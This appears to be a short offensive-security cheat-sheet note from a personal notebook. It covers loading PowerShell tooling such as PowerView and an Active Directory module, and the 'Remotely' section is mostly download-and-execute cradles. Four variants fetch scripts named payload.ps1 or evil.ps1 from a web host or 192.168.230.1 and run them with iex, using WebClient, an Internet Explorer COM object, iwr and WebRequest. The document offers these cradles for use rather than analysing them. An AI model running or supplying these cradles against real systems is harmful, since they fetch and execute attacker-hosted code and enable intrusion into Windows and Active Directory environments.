Locally
Load a Powershell script using dot sourcing:
Command
. C:\AD\Tools\powerview.ps1
A module (or a script) can be imported with:
Command
Import-Module C:\AD\Tools\ADModule-Master\ActiveDirectory\ActiveDirectory.psd1
All the commands in a module can be listed with:
Command
Get-Command -Module <modulename>
Remotely
iex (New-Object Net.WebClient).DownloadString('https://webserver/payload.ps1')
$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.230.1/evil.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response
iex (iwr 'http://192.168.230.1/evil.ps1')
$wr = [System.NET.WebRequest]::Create("http://192.168.230.1/evil.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
Related
Related Notes
All Related Notes
TABLE file.ctime as "Created", tags as "Tags" FROM "New Notes" WHERE contains(tags, "powershell") OR contains(tags, "windows") SORT file.ctime DESCpowershell
TABLE file.ctime as "Created", tags as "Tags" FROM "New Notes" WHERE contains(tags, "powershell") SORT file.ctime DESCwindows
TABLE file.ctime as "Created", tags as "Tags" FROM "New Notes" WHERE contains(tags, "windows") SORT file.ctime DESC